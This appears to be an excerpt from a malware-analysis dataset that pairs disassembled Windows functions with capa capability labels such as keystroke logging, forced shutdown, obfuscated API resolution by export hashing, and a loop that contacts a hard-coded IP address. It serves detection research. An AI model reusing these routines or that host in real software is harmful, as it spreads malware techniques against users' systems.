joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011fa0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011398
movzx eax, al
test eax, eax
jne 0x140011fc0
mov ecx, 7
call fcn.140011316
nop
mov byte [rsp + 0x20], 0
call fcn.14001132a
mov byte [rsp + 0x21], al
cmp dword [0x14001d868], 1
jne 0x140011fe4
mov ecx, 7
call fcn.140011316
nop
jmp 0x14001203c
cmp dword [0x14001d868], 0
jne 0x140012037
mov dword [0x14001d868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.140011195
test eax, eax
je 0x140012018
mov eax, 0xff
jmp 0x140012141
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011320
mov dword [0x14001d868], 2
jmp 0x14001203c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011302
call fcn.140011294
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012099
mov rcx, qword [rsp + 0x30]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x140012099
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140023020]
nop
call fcn.1400112cb
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400120cd
mov rcx, qword [rsp + 0x38]
call fcn.14001114f
movzx eax, al
test eax, eax
je 0x1400120cd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011357
nop
call fcn.1400121f0
mov dword [rsp + 0x28], eax
call fcn.140011271
movzx eax, al
test eax, eax
jne 0x1400120ec
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400120fb
call fcn.140011361
nop
xor edx, edx
mov cl, 1
call fcn.140011140
mov eax, dword [rsp + 0x28]
jmp 0x140012141
add rsp, 0x68
ret
Function at 0x140142f26
Capabilities:
Encode data using xor

Disassembly:
pop rdx
push r10
lea rdx, [0x140160440]
mov r10d, 0x56bb9308
lea r10, [r10*8 - 0x6be2fd7e]
movzx r10d, byte [rbp + riz]
push 0xffffffff8e34c305
xor r10d, edi
inc qword [rsp]
and r10d, 0xff
mov r10d, dword [rdx + r10*4]
not dword [rsp]
shr edi, 8
xor edi, r10d
inc rbp
xor edi, 0xa2a1b02c
push 0xffffffff829e449e
dec rcx
lea rsp, [rsp + 0x10]
jne 0x140142f30
jmp 0x140174bb7
mov r10d, 0x21263b8f
pop r10
Function at 0x140001e60
Capabilities:
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push rbx
sub rsp, 0x2c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rax, str.79.174.92.22
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], 0x6987
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x58], 0x384
mov ecx, 0x202
lea rdx, [rsp + 0x110]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
jne 0x140001f02
lea rdx, str.Fatal_error_in_host_name_resolving
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
lea rdx, [0x140001590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x78]
call fcn.140001620
nop
lea rcx, [rsp + 0x90]
call fcn.140001730
nop
mov ecx, 0x384
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov ebx, 0x15e
nop word [rax + rax]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xe0]
call fcn.1400015f0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140001010
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x78]
call fcn.140001e10
nop
lea rcx, [rsp + 0x68]
call fcn.1400018d0
sub rbx, 1
jne 0x140001f50
nop dword [rax + rax]
jmp 0x140001fc0

Function at 0x140002adc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002b26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002b26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002b26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002b26
cmp dword [rcx + 0x84], 0xe
jbe 0x140002b26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002b28
xor al, al
add rsp, 0x28
ret
Function at 0x140131995
Capabilities:
Hash data using fnv

Disassembly:
and al, 0x74
cmp byte [rbp + 0x7f], bh
add dh, al
and al, 0x66
mul byte [rsi + 0x66]
nop word [rax + rax]
mov dword [rbp - 0x1c], 0x792a6f76
lea r13d, [rdi + 0xf58c]
call rax
jo 0x14013184c
movabs rbp, 0x753253631ccb57eb
rcr r14d, 0xf
div rcx
call rcx
call fcn.140130c88
mov dword [rbp - 0x28], 0x8179782a
mov dword [rbp - 0x68], 0xf6f6f6f6
mov dword [rbp - 0x24], 0x6b806b2a
mov dword [rbp - 0x64], 0xf6f6f6f6
mov dword [rbp - 0x20], 0x6c6b7673
mov dword [rbp - 0x60], 0xf6f6f6f6
jmp 0x140131548
add dword [rax], eax
add bh, bh
loopne 0x140131851
call rcx
rcl r9d, 0x1a
rol dword [rcx - 0x3f], 1
rcr dword [rdx], 1
cmp ecx, 0x9de9a5dd
jg 0x1401313fb
pushf
push rbx
jmp 0x14013196f
jo 0x140130d93
push r9
pop rdi
jmp 0x140131b01
jne 0x140131e22
dec r8
cmp rsi, rdx
xor r12d, 0x2299c15a
mov r14d, 0x95abf832
xchg ebp, eax
popfq
je 0x1401319b5
jne 0x1401319b5
jmp rcx
jmp 0x140131add
ror r12d, 0xcc
test r10d, 0x2b5ba7c6
pop r13
lea r14d, [rdx - 0x4b24]
lea r9d, [rdx - 0xc286]
je 0x140131b44
jne 0x140131b44
lea r10d, [rdx + 0x24a1]
popfq
ret
jmp 0x140131c00
rcr r13d, 0x78
lea r10d, [rbp - 0x1ccb]
cpuid
je 0x140131c1a
jne 0x140131c1a
mov edi, 0x61d0c88c
jmp rcx
jmp 0x14013197d
wait
or al, 0
add byte [rcx - 0x3f], al
fnsave dword [rbp - 0x3e]
or byte [rax], al
lea ebx, [rcx - 0x192f]
test rbx, rbx
jno 0x14013234a
and ebp, 0x56210dbc
jmp rcx
invalid
Function at 0x140131f9b
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rdx, qword [rax]
xchg rcx, rdx
xchg rbx, r9
mov rbx, qword [rcx + 0x30]
xchg rbx, r9
movsxd rax, dword [r9 + 0x3c]
jmp 0x1401313cc
mov rcx, r13
xchg rcx, rax
nop word [rax + rax]
mov byte [rbp + rax - 0x44], r13b
je 0x140131259
jne 0x140131259
lea r9d, [rbp + 0x4aeb]
jp 0x140131ae6
lea ebp, [rdx + 0x87c9]
test edx, 0x9b22d2
rol edi, 0x1a
sub edx, 0x72742573
popf
push rdi
movabs rcx, 0x438b5baa694c64eb
test r13d, 0x1ec9666a
lea edx, [rbp + 0xefb2]
inc r10
jo 0x140132195
jmp 0x1401312bf
sub r14d, 0x2b2879dd
call fcn.140130aba
xchg r9, rax
mov r9, qword [rcx + 0x10]
xchg r9, rax
xchg rcx, rdx
jmp 0x140131200
jb 0x1401312cf
mov rax, qword gs:[0x60]
lea rdi, [0x140000000]
movsxd r15, dword [0x14000003c]
mov r8d, r13d
add r15, rdi
mov rcx, qword [rax + 0x18]
jmp 0x140131283
inc rax
cmp rax, 0x43
jb 0x140131229
mov rax, r13
mov byte [rsp + rax + 0x68], r13b
inc rax
cmp rax, 0xf
jmp 0x140131293
ror byte [rax - 0x6f], cl
jmp 0x140131219
mov ebx, dword [rax + r9 + 0x88]
mov r11d, dword [rbx + r9 + 0x20]
nop dword [rax]
jb 0x140131af6
sbb byte [rcx + rax*2 + 0x18a4c881], bh
push rcx
invalid
popf
rcl r13d, 0xe8
lea r10d, [rdx - 0xe9a8]
jmp rax
mov eax, 0xf00005e
lea eax, [0x140131f8f]
loopne 0x140131fe9
xor esi, 0x1521a668
jne 0x140131fd2
je 0x140131fd2
jnp 0x140131366
pushf
rcr edx, 0x43
syscall
push r14
cmp r12d, 0x35044eba
cmp esi, 0xd6e016d8
syscall
movabs rdi, 0x4768b8000000bde9
bswap r8
call rax
call rcx
test rbx, rcx
rcl r8d, 0xd1
xor r8d, 0x6625fd1
jmp 0x140132094
xor eax, 0x6625fd1
call fcn.140131995
xor r14d, 0x728a4ef4
cpuid
lea edi, [rbp + 0x3ad8]
lea r13d, [rdx + 0xcdbf]
test r11, rdx
rcl r14d, 0x85
test rbp, rdi
jmp 0x140131d68
loopne 0x1401321e0
mul ecx
syscall
call fcn.140132673
jmp rcx
invalid
Function at 0x140004808
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x40
lea rbp, [rsp + 0x20]
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x40], rdi
mov rax, qword [0x1401ff510]
xor rax, rbp
mov qword [rbp + 0x18], rax
mov rdx, qword [rcx + 0x30]
lea r8, [0x1401d5910]
and qword [rbp + 8], 0
mov rbx, rcx
lea rcx, [rbp + 8]
call fcn.140163068
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x1400049a5
mov edx, 0xfffffff0
lea r8d, [rdx + 0x12]
call fcn.14015f00c
mov r9, qword [rbp + 8]
lea rcx, [0x140203120]
mov esi, 1
mov edx, esi
lea r8d, [rsi + 0xf]
call fcn.140164440
mov rax, qword [0x140203120]
cmp rax, qword [0x140200110]
jne 0x14000499c
mov rax, qword [0x140203128]
cmp rax, qword [0x140200118]
jne 0x14000499c
mov rcx, qword [rbp + 8]
lea edx, [rsi - 0x15]
mov r8d, esi
call fcn.14015f00c
mov r9, qword [rbp + 8]
lea r8d, [rsi + 3]
mov edx, esi
lea rcx, [rbp]
call fcn.140164440
cmp rax, 4
jne 0x14000499c
mov ecx, dword [rbp]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [rbp + 8]
lea edx, [rsi - 5]
sub edx, eax
mov dword [rbp], eax
mov r8d, esi
call fcn.14015f00c
movsxd rdx, dword [rbp]
lea rax, [rdx + 0x38]
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x14000490b
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.14015c3d0
sub rsp, rcx
mov r9d, esi
mov r8d, 8
lea rcx, [rsp + 0x20]
call fcn.140068570
mov rdx, rsi
mov rdi, rax
lea rcx, [rax + 8]
mov qword [rax], rcx
mov rcx, rax
movsxd r8, dword [rbp]
mov r9, qword [rbp + 8]
call fcn.140164440
movsxd rcx, dword [rbp]
cmp rax, rcx
jne 0x14000499c
mov rcx, qword [rbx + 0x30]
lea rdx, str..msh
and qword [rbp + 0x10], 0
call fcn.1400024ec
mov rdx, rax
lea r8, [0x1401d5ba0]
lea rcx, [rbp + 0x10]
call fcn.140163068
mov r9, qword [rbp + 0x10]
test r9, r9
je 0x14000499c
movsxd r8, dword [rbp]
mov rdx, rsi
mov rcx, rdi
call fcn.140162d40
mov rcx, qword [rbp + 0x10]
call fcn.14015ec50
mov rcx, qword [rbp + 8]
call fcn.14015ec50
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14015bde0
mov rbx, qword [rbp + 0x30]
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x40]
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x140004b3c
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1401ff510]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov ebx, ecx
xor r9d, r9d
mov ecx, 0x730
xor r8d, r8d
xor edx, edx
call fcn.1400686a4
mov ecx, 0x18
mov rdi, rax
mov dword [rax + 0x564], 4
call fcn.140068960
mov rcx, rax
mov qword [rdi], rax
call fcn.14006e3bc
or ebx, 0x18
mov qword [rdi + 0x28], rax
lea rcx, [rdi + 0x64]
mov dword [rdi + 0x60], ebx
mov edx, 0xff
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
movzx edx, byte [rsp + 0x21]
mov ecx, edx
sub ecx, 0x80
je 0x140004bd4
cmp ecx, 0x7f
je 0x140004bcb
mov dword [rdi + 0x570], edx
jmp 0x140004bde
and dword [rdi + 0x570], 0
jmp 0x140004bde
mov dword [rdi + 0x570], 3
mov rax, qword [rdi]
mov edx, reloc.WS2_32.dll_recv
test rax, rax
lea rcx, [rax + 0x574]
mov rax, rdi
cmove rcx, rdx
mov qword [rcx], rdi
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14015bde0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x14000643c
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov ebx, edx
mov dil, cl
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400064ca
mov rcx, rax
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, 1
movzx eax, dil
mov word [rsp + 0x28], ax
mov dword [rsp + 0x20], esi
cmp ebx, esi
jne 0x140006484
mov dword [rsp + 0x2c], 2
jmp 0x14000649b
cmp ebx, 3
jne 0x14000648f
mov dword [rsp + 0x2c], ebx
jmp 0x14000649b
xor eax, eax
cmp ebx, 4
cmove eax, esi
mov dword [rsp + 0x2c], eax
and dword [rsp + 0x30], 0
xor edx, edx
movzx ecx, dil
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
and qword [rsp + 0x38], 0
lea rdx, [rsp + 0x20]
mov r8d, 0x28
mov word [rsp + 0x2a], ax
mov ecx, esi
call qword [sym.imp.USER32.dll_SendInput]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x1400076e8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [0x140202e60], 0
mov rbp, r9
mov ebx, edx
mov rdi, rcx
je 0x140007765
cmp edx, 2
jl 0x14000774f
movzx ecx, word [rcx]
call qword [sym.imp.WS2_32.dll_ntohs]
cmp ax, 0xa
jne 0x14000774f
and qword [rsp + 0x28], 0
lea r8, [0x140006864]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x14000774f
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x140202e60]
mov r8d, ebx
mov rdx, rdi
call fcn.14006f934
mov eax, ebx
jmp 0x14000778a
xor esi, esi
jmp 0x140007778
add esi, eax
mov edx, ebx
sub edx, esi
movsxd rcx, esi
add rcx, rdi
mov r9, rbp
lea r8, [0x140001654]
call fcn.140006fa0
test eax, eax
jne 0x140007769
mov eax, esi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140008148
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, r9
mov r8, rcx
test rdx, rdx
je 0x140008196
cmp dword [0x140202cec], 1
jne 0x140008172
cmp dword [0x140200120], 0
jne 0x140008172
xor eax, eax
jmp 0x140008205
and dword [0x140202ce8], 0
lea r9, [0x140001654]
mov dword [reloc.WS2_32.dll_accept], 1
mov qword [rsp + 0x20], rdi
call fcn.140008050
jmp 0x140008205
xor edx, edx
xor r9d, r9d
xor r8d, r8d
lea ecx, [rdx + 0x14]
call fcn.1400686a4
cmp dword [0x140202cec], 1
lea rcx, [0x140001654]
mov dword [0x140202d1c], 1
mov qword [rax], rcx
mov qword [rax + 8], rdi
mov dword [rax + 0x10], 1
jne 0x1400081e1
cmp dword [0x140200120], 0
jne 0x1400081e1
mov rcx, rax
call fcn.1401630c0
jmp 0x14000816b
and qword [rsp + 0x28], 0
lea r8, [fcn.140007b34]
and dword [rsp + 0x20], 0
mov r9, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x30
pop rdi
ret

Function at 0x1400083ac
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r15
mov r10d, dword [0x140202d38]
mov ebp, edx
mov r11d, dword [0x140202d28]
mov eax, r10d
cdq
xor r13d, r13d
idiv r11d
mov r15, r8
mov r12d, ecx
mov r9d, r13d
mov ebx, edx
test edx, edx
je 0x1400083f7
mov r8d, r11d
sub r8d, edx
add r8d, r10d
jmp 0x1400083fa
mov r8d, r10d
sub r8d, ebp
sub r8d, dword [0x140202d04]
test ebx, ebx
je 0x140008412
mov eax, r11d
sub eax, ebx
add eax, r10d
jmp 0x140008415
mov eax, r10d
sub eax, ebp
cmp r8d, eax
jge 0x1400084a3
mov eax, dword [0x140202cf0]
cdq
idiv r11d
test edx, edx
je 0x14000843b
mov eax, r11d
sub eax, edx
add eax, dword [0x140202cf0]
jmp 0x140008441
mov eax, dword [0x140202cf0]
imul eax, r8d
mov rdi, r13
add eax, r12d
imul eax, dword [0x140202d44]
movsxd rdx, eax
mov eax, dword [0x140202d44]
add rdx, r15
imul eax, r11d
movsxd rcx, eax
sar rcx, 2
lea rax, [rdx + rcx*4]
lea rcx, [rcx*4 + 3]
shr rcx, 2
cmp rdx, rax
cmova rcx, r13
test rcx, rcx
je 0x14000849b
imul r9d, r9d, 0x1000193
inc rdi
xor r9d, dword [rdx]
lea rdx, [rdx + 4]
cmp rdi, rcx
jb 0x140008485
inc r8d
jmp 0x140008404
mov rbx, qword [rsp + 0x18]
mov eax, r9d
mov rbp, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
pop r15
pop r13
ret
Function at 0x1400099b0
Capabilities:
Create thread
Shutdown system

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1401ff510]
xor rax, rsp
mov qword [rbp - 8], rax
xor esi, esi
mov r14d, edx
mov ebx, ecx
test ecx, ecx
jne 0x1400099e7
xor eax, eax
jmp 0x140009b71
cmp ebx, 6
jne 0x140009a08
lea ecx, [rbx - 4]
call qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
lea ecx, [rbx - 2]
call qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
mov eax, 1
jmp 0x140009b71
cmp ebx, 7
jne 0x140009a12
lea ecx, [rbx - 6]
jmp 0x1400099f8
cmp ebx, 8
jne 0x140009a22
or ecx, 0xffffffff
call qword [sym.imp.USER32.dll_MessageBeep]
jmp 0x1400099fe
cmp ebx, 9
jne 0x140009a58
mov qword [rsp + 0x28], rsi
lea r8, [0x140006864]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x1400099fe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400099fe
cmp ebx, 5
jg 0x1400099e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x20]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400099e0
lea r8, [rbp - 0x14]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rbp - 0x18], 1
mov dword [rbp - 0xc], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140009ad4
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400099e0
sub ebx, 1
je 0x140009b23
sub ebx, 1
je 0x140009b0b
sub ebx, 1
je 0x140009b01
sub ebx, 1
je 0x140009afa
cmp ebx, 1
jne 0x140009b65
xor ecx, ecx
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_SetSystemPowerState]
jmp 0x140009b3c
mov ecx, 1
jmp 0x140009aef
mov dword [rsp + 0x20], 1
jmp 0x140009b0f
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
lea r9d, [rdx + 1]
lea r8d, [rdx + 0x1e]
call qword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
jmp 0x140009b3c
mov edx, 0x80000000
test r14d, r14d
je 0x140009b34
mov ecx, 4
jmp 0x140009b36
xor ecx, ecx
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
je 0x140009b65
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov dword [rbp - 0xc], esi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov esi, 1
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14015bde0
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
Function at 0x14000ac1c
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov r9, rdx
lea rbx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
movabs rax, 0xaaaaaaaaaaaaaaab
mov r10, rcx
mul rdx
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
lea r11, [rax + rcx]
cmp rcx, r11
je 0x14000acb0
movzx eax, byte [r10 + 1]
movzx edx, byte [r10]
movzx ecx, byte [r10 + 2]
add r10, 3
shl rdx, 8
add rdx, rax
shl rdx, 8
add rdx, rcx
mov rax, rdx
shr rax, 0x12
mov al, byte [rax + rbx]
mov byte [r8], al
mov rax, rdx
shr rax, 0xc
and eax, 0x3f
mov al, byte [rax + rbx]
mov byte [r8 + 1], al
mov rax, rdx
shr rax, 6
and edx, 0x3f
and eax, 0x3f
mov al, byte [rax + rbx]
mov byte [r8 + 2], al
mov al, byte [rdx + rbx]
mov byte [r8 + 3], al
add r8, 4
cmp r10, r11
jne 0x14000ac4e
sub r9, 1
je 0x14000acfa
cmp r9, 1
jne 0x14000ad1e
movzx edx, byte [r10]
movzx eax, byte [r10 + 1]
shl edx, 8
add edx, eax
mov eax, edx
shr rax, 0xa
mov ecx, edx
and edx, 0xf
shr rcx, 4
and ecx, 0x3f
mov al, byte [rax + rbx]
mov byte [r8], al
shl edx, 2
mov al, byte [rcx + rbx]
mov byte [r8 + 1], al
mov al, byte [rdx + rbx]
mov byte [r8 + 2], al
mov byte [r8 + 3], 0x3d
jmp 0x14000ad1e
movzx ecx, byte [r10]
mov eax, ecx
and ecx, 3
shr rax, 2
shl ecx, 4
mov al, byte [rax + rbx]
mov byte [r8], al
mov al, byte [rcx + rbx]
mov byte [r8 + 1], al
mov word [r8 + 2], 0x3d3d
mov rbx, qword [rsp + 8]
ret
Function at 0x14003eca8
Capabilities:
Get disk information
Get disk size

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x460
mov rax, qword [0x1401ff510]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rax, rdx
lea r9, [rsp + 0x30]
mov rbx, rcx
lea rdx, [rsp + 0x50]
mov rcx, rax
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameA]
test eax, eax
je 0x14003ee5b
cmp byte [rsp + 0x50], 0
je 0x14003ee5b
mov rcx, rbx
call fcn.14000e548
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14000e150
mov esi, 0xfffffffe
lea r8, str.name
mov edx, esi
mov rcx, rbx
call fcn.14000b90c
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
lea r9, [rsp + 0x40]
mov edi, eax
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x14003edba
mov rcx, qword [rsp + 0x38]
xorps xmm1, xmm1
cvtsi2sd xmm1, rcx
test rcx, rcx
jns 0x14003ed6e
addsd xmm1, qword [0x1401e4368]
mov rcx, rbx
call fcn.14000df80
lea r8, str.size
mov edx, esi
mov rcx, rbx
call fcn.14000b90c
mov rax, qword [rsp + 0x40]
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
test rax, rax
jns 0x14003eda1
addsd xmm1, qword [0x1401e4368]
mov rcx, rbx
call fcn.14000df80
lea r8, str.free
mov edx, esi
mov rcx, rbx
call fcn.14000b90c
sub edi, 2
je 0x14003ee03
sub edi, 1
je 0x14003edfa
sub edi, 1
je 0x14003edf1
sub edi, 1
je 0x14003ede8
mov rcx, rbx
cmp edi, 1
je 0x14003eddf
lea rdx, str.UNKNOWN
jmp 0x14003ee0d
lea rdx, str.RAMDISK
jmp 0x14003ee0d
lea rdx, str.CDROM
jmp 0x14003ee0a
lea rdx, str.REMOTE
jmp 0x14003ee0a
lea rdx, str.FIXED
jmp 0x14003ee0a
lea rdx, str.REMOVABLE
mov rcx, rbx
call fcn.14000e150
lea r8, str.type
mov edx, esi
mov rcx, rbx
call fcn.14000b90c
mov r9d, 0x18075380
mov dword [rsp + 0x20], 6
xor r8d, r8d
lea rdx, [0x14003ec78]
mov rcx, rbx
call fcn.14000e790
lea r8, str.toString
mov edx, esi
mov rcx, rbx
call fcn.14000b90c
mov eax, 1
jmp 0x14003ee5d
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14015bde0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret